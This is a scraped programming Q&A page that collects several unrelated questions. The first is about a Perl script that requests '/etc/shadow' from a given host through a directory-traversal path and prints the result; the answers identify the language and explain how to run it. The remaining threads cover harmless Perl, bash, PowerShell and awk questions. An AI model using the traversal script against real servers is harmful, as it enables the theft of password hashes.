This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
I have a code here, but I don't know what language it is written in, and how to run it.
use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };
my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }
looks like Perl to me. Did you try
perl thefile?
Definite Perl. It's a simple script to "test" a webserver against directory traversal attacks:
https://en.wikipedia.org/wiki/Directory_traversal_attack
it looks like Perl.
add a line to the top that sais:
#!/usr/bin/perl -w
and chmod +x it, then you can run it like any program.
EDIT: if you're on windows, you'll want to ckeck out http://strawberryperl.com/
Related
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed last year.
Improve this question
I have some directory paths.
dir1/abc/dir2/dir3
and
dir1/xyz/dir2/dir3
I have a Perl script that manipulates these directories, but that script is running into errors with path names.
How can I set "abc" = "xyz" in a perl variable, so that I can use that variable in the pathnames above?
For example, it should be
dir1/$PathVariable/dir2/dir3
so that the script doesn't care whether part of the path is "abc" or "xyz".
So far, I tried using the eq keyword
my $Path1 = "abc";
my $Path2 = "xyz";
my %PathVariable = $Path1 eq $Path2;
Turns out eq doesn't do what I thought. Any tips?
I think this is your question. You have a path template such as dir1/$PathVariable/dir2/dir3 and you want to fill in the $PathVariable with different values.
The quick way to do that is simple double-quoted interpolation:
my $PathVariable = 'abc';
my $directory = "dir1/$PathVariable/dir2/dir3";
print "Dir is <$directory>\n"; # dir1/abc/dir2/dir3
But, you want to do this for a few directories. Iterate through a list of the values you want. Each time through the foreach, $PathVariable gets the next value from #paths:
my #paths = qw(abc xyz);
foreach my $PathVariable ( #paths ) {
my $directory = "dir1/$PathVariable/dir2/dir3";
print "Dir is <$directory>\n";
... do whatever you need to do ...
}
Now, having figured that part out, there are a few things to think about when creating paths. The File::Spec module that comes with Perl knows how to put together paths appropriate for the system that you are working on. It's a good habit to have so you avoid weird cases:
use File::Spec::Functions;
my $dir = catfile( 'dir1', $PathVariable, 'dir2', 'dir3' );
There are other CPAN modules that do the job too, but that might be a bit much until you solve this issue.
I am trying to call to a specific function with a script from another script. This is just a text based game I am putting together for my kids to show what programming can do. Its cheesy I know and I am using zenity as well, and yes I am aware there are better things out there but this is what I am using. And I am pretty new to linux so be gentle.
--radiolist --column "Pick" --column "Options" True "North." False "South." False "East." False "West." --width=600 --height=400)
case $walking in
"East.") hallway1 ;;
"West.") intersection ;;
"North.") ./maindeck.sh midHallway;;
"South.") ./maindeck.sh midHallway;;
I want to go to the location midHallway on the maindeck.sh from the original script commanddeck.sh instead of to the starting location.
You could define functions in maindeck.sh and just call them as $1,
midHallway() {
echo "here you are"
}
$1
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 3 years ago.
Improve this question
I'm a bit stuck with this. I'm delaring a variable at the top of my script, then I am creating a file as part of my script:
app="testing"
cat <<EOF >/etc/init.d/test
#!/bin/bash
args="--emperor $APPCONF/test/$APP.ini"
EOF
It doesn't seem to work though, it seems on the $app variable. Must I do something to this variable to get it to display it's value, "testing" inside the file I create?
Use consistent case. variable names are case sensitive.
Let's say you were doing this the Right Way. You'd want to store your data in an array:
args=( --emperor "${appconf}/test/${app}.ini" )
and then convert it to a string for embedding:
printf -v args_str '%q ' "${args[#]}"`
...and use that string inside your heredoc:
#!/bin/bash
args=( $args_str )
EOF
...beyond which, anything inside the script being created would want to expand it as an array:
run_something "${args[#]}"
See BashFAQ #50 for rationale and details.
Besides using consistent case ($app is different from $APP), you may want to enclose your variable names within brackets - you may get issues if you use spaces in between your variables values otherwise, and it's considered a good practice. For example:
args="--emperor ${APPCONF}/test/${APP}.ini"
That way, $APPCONF does not get confused with ${APP}CONF also. I hope this helps!
I'm not sure to understand your question. I suppose that you would like to end with a file
/etc/init.d/test
containing the text:
#!/bin/bash
args="--emperor $APPCONF/test/testing.ini"
if so your script should be:
app="testing"
cat <<EOF >/etc/init.d/test
#!/bin/bash
args="--emperor \$APPCONF/test/$app.ini"
EOF
This is my first post :D ... I have never needed to post since all my answers have always been already answered. I look but didn't find anything to answer this.
I have a directory ( call it temp ) in C:\ and I need to find all files in it (recursively) that contain ANY of these characters ~!##$%^&*()+., OR a space.
I then need them listed with their location, I dont care about the date or permissions (infact I would prefer them removed)
I also need the option to filter *.htm
I tried playing with GCI and Select-String, but select-string kept reading the content of my files and I am not very good with regular expressions.
Thanks in advance for the help, I know the people on here know their stuff (4 years before I had to post a question :D)
Try this:
$files = Get-ChildItem "c:\PST\"
$files = ($files | Where-Object {$_.BaseName.IndexOfAny("~!##$%^&*()+., ".ToCharArray()) -ne -1})
$files
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 11 years ago.
I want to select some columns in a file and run some command on it.
so my script is this
awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$19}' test.txt > outpot.txt
but this print it to another file and I tried to do this
awk '{print $1,$2,$3,$4,$5,$6,$7,$9,$10,$11,$12,$13,$14,$15,$16}' test.txt | next commands
(This commands works fine! I did a mistake and I don't know how to remove this question)
is it possible to make this command shorter like instead of writing all columns just write $1-7 && $9-15 && $19 (but this is not really important I just wondered if it's possible). The main thing is to be able to choose that columns
Updated based on glennjackman's suggestion:
awk '{for (i=1;i<=NF;i++) if ((1<=i && i<=7) || (9<=i && i<=15) || i==19) printf("%s ", $i); print ""}' file
To answer one part of your question, in awk script you can do:
{
for (i=1; i<=7; i++)
print $i;
for (i=9; i<=15; i++)
print $i;
print $19;
}